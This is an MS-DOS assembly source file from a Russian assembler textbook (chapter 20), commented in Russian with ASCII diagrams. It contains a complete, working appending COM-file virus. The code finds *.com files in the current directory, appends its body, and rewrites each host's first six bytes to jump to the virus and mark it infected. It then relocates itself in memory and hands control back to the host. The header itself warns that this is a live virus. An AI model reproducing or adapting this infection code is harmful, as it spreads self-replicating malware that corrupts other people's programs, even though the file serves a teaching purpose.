
;		VIRUS20.ASM - программа к Главе № 020

;----------------------------------------------------------------------------
;			 !!! ВНИМАНИЕ !!!
;
;	   ЭТО РАБОЧИЙ ВИРУС, СПОСОБНЫЙ ЗАРАЖАТЬ ДРУГИЕ ФАЙЛЫ!
;     ПРЕЖДЕ, ЧЕМ АССЕМБЛИРОВАТЬ И ЗАПУСКАТЬ ЕГО, ПРОЧТИТЕ 20 ГЛАВУ!
;----------------------------------------------------------------------------


; (С) Авторские права на файлы-приложения принадлежат автору книги
; "Ассемблер? Это просто! Учимся программировать под MS-DOS"
; Автор: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru)
;	 http://www.Kalashnikoff.ru

; --- Ассемблирование (получение *.com файла) ---
;При использовании MASM 6.11 - 6.13:
;ML.EXE virus20.asm /AT

;При использовании TASM:
;TASM.EXE virus20.asm
;TLINK.EXE virus20.obj /t/x


.286
CSEG segment
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h

Begin:
       push offset Init	;3 байта
       ret		;1 байт
 dw 1122h		;2 байта (метка, указывающая, что файл уже заражен)
;			---------
;ИТОГО:			 6 байт

F_bytes equ $-offset Begin	;Длина первых байт "файла-жертвы"

;       === Процедуры работы с файлами ===

; --- Открытие файла для записи ---
; Вход:  DX - путь файлу ASCIZ
; Выход: Handle, BX - номер файла
Open_file proc
     mov ax,3D02h	;Открываем файл для чтения/записи
     mov dx,1Eh		;DX указывает на имя найденного файла в DTA
     int 21h
     mov Handle,ax	;Сохраняем номер файла
     mov bx,ax
     ret

Handle dw 0FFFFh	;Переменная для хранения номера файла
Open_file endp

; --- Закрытие файла ---
; Вход:  Handle - номер открытого файла
; Выход: ничего
Close_file proc
     cmp Handle,0FFFFh	;Нет открытых файлов?
     je No_close	;Тогда выходим (закрывать нечего!)

     mov bx,Handle	;Закрываем файл...
     mov ah,3Eh
     int 21h

No_close:
   ret
Close_file endp

; --- Поиск первого файла ---
Find_first proc
      mov ah,4Eh	;Ищем первый файл по маске (Mask_file)
      xor cx,cx		;Атрибуты обычные (CX=0)
      mov dx,offset Mask_file ;Адрес маски в DS:DX
      int 21h		;Теперь имя файла находится по адресу 0BF00:001Eh

   ret
Mask_file db '*.com',0	;Маска для поиска (только COM-файлы)
Find_first endp

; --- Поиск следующих файлов ---
Find_next proc
      xor dx,dx		;DS:DX указывают на DTA
      xor cx,cx		;Атрибуты обычные
      mov ah,4Fh
      int 21h		;Теперь в DTA находится информация о следующем
			;найденном файле
   ret
Find_next endp

; --- Заражение файла ---
Infect_file proc
;Основная процедура заражения найденного файла.
;Будем следить за тем, что происходит с "файлом-жертвой".

;Допустим, заражаем такой файл (естественно, com-файл, а не asm!):

;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║mov ah,9		 │B4 09	       │B4-загрузка в AH, 09-что грузим      ║
;║mov dx,offset Message  │BA 0801      │BA-загрузка в DX, 0801-смещ. строки  ║
;║int 21h		 │CD 21        │CD-int				     ║
;║			 │	       │				     ║
;║ret			 │C3	       │				     ║
;║...			 │     ...     │Еще какие-то данные/коды	     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝

      mov ax,cs:[1Ch]	;Получим второе слово длины заражаемого файла
      or ax,ax		;Если оно не равно 0, то выходим...
      jnz Error_infect	;...это значит, что размер файла больше 64Кб.

      mov bp,cs:[1Ah]	;Получим младшее слово (т.е. размер файла)

      call Open_file	;Открываем файл
      jc Error_infect	;Ошибка - на выход

      mov ah,3Fh
      mov cx,F_bytes	;Читаем первые шесть байт "файла-жертвы"...
      mov dx,offset Finish ;...в хвост нашего вируса.
      int 21h
      jc Error_infect

;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║->mov ah,9		 │B4 09        │Читаем байты этой команды...         ║
;║->mov dx,offset Message│BA 0801      │И этой...			     ║
;║->int			 │CD           │И один байт этой.		     ║
;║...			 │     ...     │Другие данные/коды (НЕ читаем!)      ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝
;DX указывает на буфер, куда прочитали эти байты.
;Если файл заражен, то 4 и 5 байты будут равны 2211h (перевернуты наоборот)

;Проверим это, чтобы 2 раза не заражать один и тот же файл...

      mov bx,dx
      cmp word ptr [bx+4],1122h	;Проверим на то, заражен ли уже этот файл
      je Error_infect		;Если да, то - на выход...

      mov ax,4202h	;Установим указатель чтения/записи на конец файла.
      mov bx,Handle
      xor cx,cx		;Отсчитывать 0 байт...
      xor dx,dx
      int 21h
      jc Error_infect

      mov ah,40h	;В BX уже есть номер файла.
      mov cx,offset Finish-100h-F_bytes	;Пишем в хвост "файла-жертвы"
      mov dx,100h			;тело вируса.
      int 21h
      jc Error_infect

;Ситуация теперь такая:
;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║mov ah,9		 │B4 09        │B4-загрузка в AH, 09-что грузим      ║
;║mov dx,offset Message  │BA 0801      │BA-загрузка в DX, 0801-смещ. строки  ║
;║int 21h		 │CD 21        │CD-int				     ║
;║			 │	       │				     ║
;║ret			 │C3	       │				     ║
;║...                    │     ...     │Еще какие-то данные/коды	     ║
;║Здесь идет наш вирус   │     ...     │				     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝

      mov ah,40h	;После тела вируса дописываем первые
      mov cx,F_bytes	;настоящие шесть байт "файла-жертвы"...
      mov dx,offset Finish
      int 21h
      jc Error_infect

;Получаем:
;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║mov ah,9		 │B4 09        │B4-загрузка в AH, 09-что грузим      ║
;║mov dx,offset Message  │BA 0801      │BA-загрузка в DX, 0801-смещ. строки  ║
;║int 21h		 │CD 21        │CD-int				     ║
;║			 │	       │				     ║
;║ret			 │C3	       │				     ║
;║...                    │     ...     │Еще какие-то данные/коды	     ║
;║			 │	       │				     ║
;║Здесь идет наш вирус   │     ...     │                                     ║
;║mov ah,9               │B4 09        │                                     ║
;║mov dx,offset Message  │BA 0801      │                                     ║
;║int			 │CD	       │				     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝
;Шесть байт дописали в файл прямо за кодом вируса.

      call Close_file		;Закрываем файл.

      add bp,offset Init	;К длине файла прибавляем смещение метки Init
      mov ss:[101h],bp		;Заносим полученный адрес после push

      call Open_file		;Открываем файл. Теперь указатель в начале...

      mov ah,40h		;Запишем первые шесть байт (переход на вирус)
      mov cx,F_bytes		;поверх уже имеющихся...
      push ss			;Пишем с сегмента "файла-жертвы"
      pop ds
      mov dx,100h
      int 21h

;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║push адрес вируса      │68 адрес     │Адрес занимает 2 байта               ║
;║ret			 │С3	       │				     ║
;║1122h			 │1122	       │Указатель на то, что файл уже заражен║
;║and ax,bx              │21C3         │Вот такая картина...                 ║
;║...			 │     ...     │Еще какие-то данные/коды             ║
;║			 │	       │				     ║
;║Здесь идет наш вирус   │     ...     │Этот адрес толкает в стек push       ║
;║mov ah,9               │B4 09        │                                     ║
;║mov dx,offset Message  │BA 0801      │                                     ║
;║int			 │CD	       │				     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝

      push cs
      pop ds
      call Close_file	;Закрываем файл

      clc		;Сигнал успешного заражения...
      ret

Error_infect:
      call Close_file	;Закрываем файл
      stc		;Сигнал того, что произошла ошибка при заражении.
   ret
Infect_file endp



; === Процедура инициализации вируса ===
Init:
       pusha		;Сохраним все регистры в стеке

       call Get_IP	;Получим смещение, где мы сейчас находимся
Get_IP:
       pop ax		;Теперь в AX - смещение
       sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
			    ;находиться в сегменте 0BF00h
			    ;Получим размер файла-"жертвы", если его нет
			    ;(т.е. мы запускаем вирус первый раз),
			    ;то AX будет равен 0

       push 0BF00h
       pop es		;ES - сегмент, куда будем перемещать код вируса.

       mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры)
       mov si,di
       add si,ax	;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы
			;пока еще в сегменте "файла-жертвы"...

       mov cx,offset Finish-offset Open_file ;CX = длина нашего вируса
       rep movsb	;Теперь в памяти две копии вируса

;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
       mov bx,offset Lab_return
       add bx,ax	;Как бы искусственно заносим адрес возврата для retf
       push cs
       push bx

;Занесем в стек адрес для перехода в нашу копию:
;  * сегмент - 0BF00h
;  * смещение - Lab_jmp
       mov bx,offset Lab_jmp ;Аналогично вышесказанному...
       push 0BF00h
       push bx

;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h.
       retf


; Теперь мы уже в области экрана
Lab_jmp:
;CS теперь равен 0BF00h.

       push cs		;Настроим регистр DS
       pop ds

       mov ah,1Ah	;Установим DTA для поиска файлов
       xor dx,dx	;Он устанавливается на тот адрес, который содержится
       int 21h		;В регистрах DS:DX. В отладчике смотрите,
			;что находится в памяти на которую указывают данные
			;регистры, т.е. DS:DX...

       call Find_first	;Ищем первый файл
       jc Nomore_files	;Нет COM-файлов в текущем каталоге - на выход

Inf_file:
       call Infect_file	;Нашли - пробуем заразить
       jnc Nomore_files	;Удалось заразить - выходим

       call Find_next	;Не удалось заразить - ищем следующий
       jnc Inf_file	;Нашли еще один COM-файл; пробуем заразить...


;Восстановим первые шесть байт файла-жертвы в памяти
;Вот, что мы имеем до восстановления байт:
;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║push адрес вируса      │68 адрес     │Адрес занимает 2 байта               ║
;║ret			 │С3	       │				     ║
;║1122h                  │1122         │Указатель на то, что файл уже заражен║
;║and ax,bx              │21C3         │Вот такая картина...                 ║
;║...			 │     ...     │Еще какие-то данные/коды             ║
;║			 │	       │				     ║
;║Здесь идет наш вирус   │     ...     │                                     ║
;║Init:                  │     ---     │Этот адрес толкает в стек push       ║
;║			 │	       │				     ║
;║->mov ah,9             │B4 09        │Вот эти байты нужно...               ║
;║->mov dx,offset Message│BA 0801      │...переместить по адресу...          ║
;║->int                  │CD           │...100h, чтобы восстановить файл     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝
;Примечание. Init: - метка инициализации вируса. См. ниже.

Nomore_files:
      mov si,offset First_bytes ;DS:SI - на массив из шести байт
      mov di,100h	;ES:DI - куда перемещать строку (шесть байт)
      push ss		;ES должен указывать на сегмент "файла-жертвы"
      pop es
      mov cx,F_bytes	;6 байт перемещаем: DS:SI = ES:DI
      rep movsb

;Вот, что получили после перемещения шести байт "файла-жертвы":
;╔═══════════════════════╤═════════════╤═════════════════════════════════════╗
;║Ассемблер		 │Машинные коды│Пояснения 			     ║
;╟───────────────────────┼─────────────┼─────────────────────────────────────╢
;║mov ah,9               │B4 09        │Эта команда находится по адресу 100h ║
;║mov dx,offset Message  │BA 0801      │                                     ║
;║int 21h                │CD 21        │                                     ║
;║			 │	       │				     ║
;║ret                    │C3           │				     ║
;║...                    │     ...     │Еще какие-то данные/коды             ║
;║			 │	       │				     ║
;║Здесь идет наш вирус   │     ...     │				     ║
;║mov ah,9               │B4 09        │				     ║
;║mov dx,offset Message  │BA 0801      │				     ║
;║int                    │CD           │				     ║
;╚═══════════════════════╧═════════════╧═════════════════════════════════════╝
;Осталось только передать управление на адрес 100h.

;Вернемся в сегмент программы-"жертвы", т.е. туда, где мы
;были изначально.
       retf


; Теперь мы опять в сегменте зараженной программы
Lab_return:
       push cs		;Восстановим DS (ES уже в порядке!)
       pop ds

       mov ah,1Ah	;Восстановим DTA
       mov dx,80h
       int 21h

       popa		;Восстановим регистры

;!!! Передаем управление "файлу-жертве" !!!
       push 100h	;Обратите внимание, как мы теперь переходим...
       ret		;...на адрес 100h.


; === Данные ===
;Здесь (First_bytes) будут храниться первые байты "файла-жертвы".
;Если это первый запуск вируса, то по умолчанию получим:
;nop (90h)
;nop (90h)
;nop (90h)
;nop (90h)
;int 20h (0CDh, 20h)
;Итого: 6 байт

;Первые шесть байт зараженного файла будут такими:
;1 - push (68h)
;2,3 - адрес метки инициализации вируса
;4 - ret (0C3h)
;5,6 - заражен ли файл уже (1122h)?
First_bytes db 4 dup (90h), 0CDh, 20h

Finish equ $

CSEG ends
end Begin